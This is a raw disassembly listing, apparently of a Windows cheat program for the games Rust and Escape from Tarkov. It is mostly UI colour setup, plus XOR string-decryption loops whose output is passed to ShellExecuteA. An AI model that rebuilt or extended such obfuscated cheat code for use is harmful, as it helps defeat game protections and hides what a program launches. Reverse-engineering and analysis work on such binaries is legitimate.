call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x11b0]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17bc], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e90]
lea rcx, [rbp + 0x11c0]
movss xmm2, dword [0x1400a1e28]
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17ac], xmm0
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x11d0]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17cc], xmm0
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x11e0]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17dc], xmm0
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x11f0]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17ec], xmm0
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x1200]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17fc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1210]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x180c], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1e58]
lea rcx, [rbp + 0x1220]
movss xmm7, dword [0x1400a1e5c]
movaps xmm2, xmm6
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movaps xmm1, xmm6
movups xmmword [r14 + 0x181c], xmm0
call fcn.140002ff0
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x186c], xmm0
movaps xmm3, xmm7
lea rcx, [rbp + 0x1230]
movaps xmm2, xmm6
movaps xmm1, xmm6
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1240]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x187c], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1250]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x188c], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1260]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x189c], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1270]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18ac], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1280]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18bc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1290]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18cc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x12a0]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18dc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x12b0]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x191c], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x12c0]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x192c], xmm0
call fcn.140002ff0
movss dword [rsp + 0x20], xmm15
movaps xmm3, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x193c], xmm0
movaps xmm2, xmm9
lea rcx, [rbp + 0x12d0]
movaps xmm1, xmm9
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x12e0]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19bc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x12f0]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19cc], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm9
lea rcx, [rbp + 0x1300]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19dc], xmm0
call fcn.140002ff0
movss dword [rsp + 0x20], xmm15
lea rcx, [rbp + 0x1310]
movaps xmm2, xmm9
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19ec], xmm0
movaps xmm3, xmm9
call fcn.140002ff0
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a4c], xmm0
jmp 0x14006f349
cmp eax, 2
jne 0x14006f349
movss xmm3, dword [0x1400a1ecc]
lea rcx, [rbp + 0x1320]
movss xmm2, dword [0x1400a1ec8]
movss xmm1, dword [0x1400a1ec4]
movss dword [rsp + 0x20], xmm10
call fcn.140002ff0
movss xmm3, dword [0x1400a1e40]
lea rcx, [rbp + 0x1330]
movss xmm2, dword [0x1400a1e38]
movss xmm1, dword [0x1400a1e24]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x16fc], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1de8]
lea rcx, [rbp + 0x1340]
movss xmm3, dword [0x1400a1dec]
movaps xmm2, xmm6
movaps xmm1, xmm15
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x170c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dfc]
lea rcx, [rbp + 0x1350]
movss xmm2, dword [0x1400a1df0]
movaps xmm1, xmm6
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x171c], xmm0
call fcn.140002ff0
movss xmm7, dword [0x1400a1dc8]
lea rcx, [rbp + 0x1360]
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x172c], xmm0
movss xmm0, dword [0x1400a1ec0]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1dd8]
lea rcx, [rbp + 0x1370]
movss xmm2, dword [0x1400a1dd0]
movaps xmm3, xmm6
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x173c], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm9
movaps xmm2, xmm9
lea rcx, [rbp + 0x1380]
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x174c], xmm0
call fcn.140002ff0
movss xmm8, dword [0x1400a1e08]
lea rcx, [rbp + 0x1390]
movss xmm7, dword [0x1400a1df4]
movaps xmm2, xmm8
movss xmm3, dword [0x1400a1e14]
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x175c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e10]
lea rcx, [rbp + 0x13a0]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x176c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1de4]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x177c], xmm0
movss xmm7, dword [0x1400a1dcc]
lea rcx, [rbp + 0x13b0]
movaps xmm1, xmm7
call fcn.140002ff0
movss xmm3, dword [0x1400a1de4]
lea rcx, [rbp + 0x13c0]
movaps xmm2, xmm6
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x178c], xmm0
movss xmm0, dword [0x1400a1e74]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1dd0]
lea rcx, [rbp + 0x13d0]
movss xmm1, dword [0x1400a1dc8]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x179c], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
lea rcx, [rbp + 0x13e0]
movaps xmm2, xmm9
movaps xmm1, xmm9
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17ac], xmm0
movss xmm0, dword [0x1400a1e4c]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1dfc]
lea rcx, [rbp + 0x13f0]
movss xmm2, dword [0x1400a1df0]
movaps xmm3, xmm6
movss xmm1, dword [0x1400a1de8]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x17bc], xmm0
call fcn.140002ff0
lea rcx, [rbp + 0x1400]
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17cc], xmm0
movss xmm0, dword [0x1400a1e30]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x1400a1db4]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0x1410]
movss xmm1, dword [0x1400a1df4]
movaps xmm2, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17dc], xmm0
call fcn.140002ff0
movss xmm1, dword [0x1400a1df0]
lea rcx, [rbp + 0x1420]
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17ec], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e1c]
lea rcx, [rbp + 0x1430]
movss xmm2, dword [0x1400a1df8]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x17fc], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1e58]
movaps xmm3, xmm10
movss xmm7, dword [0x1400a1e10]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x180c], xmm0
lea rcx, [rbp + 0x1440]
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm6
lea rcx, [rbp + 0x1450]
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x181c], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e68]
lea rcx, [rbp + 0x1460]
movss xmm1, dword [0x1400a1e28]
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x186c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0x1470]
movss xmm1, dword [0x1400a1df4]
movaps xmm2, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x187c], xmm0
call fcn.140002ff0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm6
lea rcx, [rbp + 0x1480]
movaps xmm1, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x188c], xmm0
call fcn.140002ff0
movss xmm7, dword [0x1400a1ecc]
lea rcx, [rbp + 0x1490]
movss xmm2, dword [0x1400a1e50]
movaps xmm3, xmm7
movss xmm1, dword [0x1400a1dc0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x189c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0x14a0]
movss xmm1, dword [0x1400a1df4]
movaps xmm2, xmm8
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18ac], xmm0
movss xmm0, dword [0x1400a1e54]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm6, dword [0x1400a1e98]
lea rcx, [rbp + 0x14b0]
movss xmm2, dword [0x1400a1e60]
movaps xmm3, xmm7
movss xmm1, dword [0x1400a1e0c]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm6
movups xmmword [r14 + 0x18bc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0x14c0]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18cc], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0x14d0]
movss xmm1, dword [0x1400a1df4]
movaps xmm2, xmm8
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18dc], xmm0
call fcn.140002ff0
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x18ec], xmm0
movss xmm0, dword [0x1400a1e90]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1400a1e88]
lea rcx, [rbp + 0x14e0]
movss xmm2, dword [0x1400a1e34]
movss xmm1, dword [0x1400a1dd0]
call fcn.140002ff0
movss xmm3, dword [0x1400a1e88]
lea rcx, [rbp + 0x14f0]
movss xmm2, dword [0x1400a1e34]
movss xmm1, dword [0x1400a1dd0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm10
movups xmmword [r14 + 0x18fc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0x1500]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm8
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x190c], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0x1510]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x191c], xmm0
movss xmm0, dword [0x1400a1e78]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0x1520]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x192c], xmm0
movss xmm0, dword [0x1400a1ec4]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dec]
lea rcx, [rbp + 0x1530]
movss xmm2, dword [0x1400a1de8]
movaps xmm1, xmm15
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x193c], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0x1540]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x194c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e14]
lea rcx, [rbp + 0x1550]
movaps xmm2, xmm8
movss dword [rsp + 0x20], xmm10
movss xmm8, dword [0x1400a1df4]
movups xmm0, xmmword [rax]
movaps xmm1, xmm8
movups xmmword [r14 + 0x195c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dec]
lea rcx, [rbp + 0xb10]
movss xmm2, dword [0x1400a1de8]
movaps xmm1, xmm15
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x196c], xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1dec]
lea rcx, [rbp + 0xb20]
movss xmm2, dword [0x1400a1de8]
movaps xmm1, xmm15
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x197c], xmm0
call fcn.140002ff0
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x198c], xmm0
lea rcx, [rbp + 0xb30]
movss xmm0, dword [0x1400a1e68]
movaps xmm3, xmm0
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002ff0
movss xmm3, dword [0x1400a1e20]
lea rcx, [rbp + 0xb40]
movss xmm2, dword [0x1400a1e3c]
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19bc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e7c]
lea rcx, [rbp + 0xb50]
movss xmm1, dword [0x1400a1eb4]
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19cc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e64]
lea rcx, [rbp + 0xb60]
movaps xmm3, xmm9
movss dword [rsp + 0x20], xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19dc], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0xb70]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x19ec], xmm0
movss xmm0, dword [0x1400a1e20]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movaps xmm3, xmm9
lea rcx, [rbp + 0xb80]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a4c], xmm0
movss xmm0, dword [0x1400a1eb4]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movss xmm2, dword [0x1400a1e60]
lea rcx, [rbp + 0xb90]
movss xmm1, dword [0x1400a1e0c]
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a5c], xmm0
call fcn.140002ff0
movaps xmm3, xmm10
lea rcx, [rbp + 0xba0]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a6c], xmm0
movss xmm0, dword [0x1400a1e7c]
movss dword [rsp + 0x20], xmm0
call fcn.140002ff0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0xbb0]
movaps xmm1, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a7c], xmm0
call fcn.140002ff0
movaps xmm3, xmm6
movaps xmm2, xmm6
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a8c], xmm0
movss xmm0, dword [0x1400a1e20]
movss dword [rsp + 0x20], xmm0
movaps xmm1, xmm6
lea rcx, [rbp + 0xbc0]
call fcn.140002ff0
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x1a9c], xmm0
cmp byte [0x1400ae053], 0
je 0x14006f75c
lea rdx, [rbp + 0x1758]
mov byte [rbp - 0x1c], 0
lea rcx, [rbp - 0x1c]
call fcn.1400883a0
mov rbx, rax
cmp byte [rax + 0x12], 0
je 0x14006f511
mov r8d, edi
cmp esi, 2
jl 0x14006f4d9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006f3d0
cmp r8d, 0x13
jge 0x14006f511
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14006f4e0
movss xmm1, dword [0x1400a2070]
lea rcx, [rbp + 0x4c8]
movaps xmm2, xmm11
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x14006f73c
lea rdx, [rbp + 0x1b20]
mov byte [rbp - 0x1b], 0
lea rcx, [rbp - 0x1b]
mov byte [rbp - 0x1a], 0
call fcn.1400883f0
mov rbx, rax
cmp byte [rax + 0x1d], 0
je 0x14006f6f1
mov r8d, edi
cmp esi, 2
jl 0x14006f6ba
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006f5b1
cmp r8d, 0x1e
jge 0x14006f6f1
movsxd r9, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14006f6c0
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x1a]
call fcn.1400883d0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006f71e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8, rbx
mov qword [rsp + 0x20], rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1400aeff4], 1
jne 0x14006f75c
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006f75c
lea rcx, str.My_Cheat_on_Rust_EFT_:_
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006fb75
lea rdx, [rbp + 0x2120]
mov byte [rbp - 0x19], 0
lea rcx, [rbp - 0x19]
call fcn.140088420
mov rbx, rax
cmp byte [rax + 0x21], 0
je 0x14006f921
mov r8d, edi
cmp esi, 2
jl 0x14006f8e9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14006f7e0
cmp r8d, 0x22
jge 0x14006f921
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14006f8f0
movss xmm1, dword [0x1400a2070]
lea rcx, [rbp + 0x4d0]
movaps xmm2, xmm11
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x14006fb4c
lea rdx, [rbp + 0x1b40]
mov byte [rbp - 0x18], 0
lea rcx, [rbp - 0x18]
mov byte [rbp - 0x17], 0
call fcn.1400883f0
mov rbx, rax
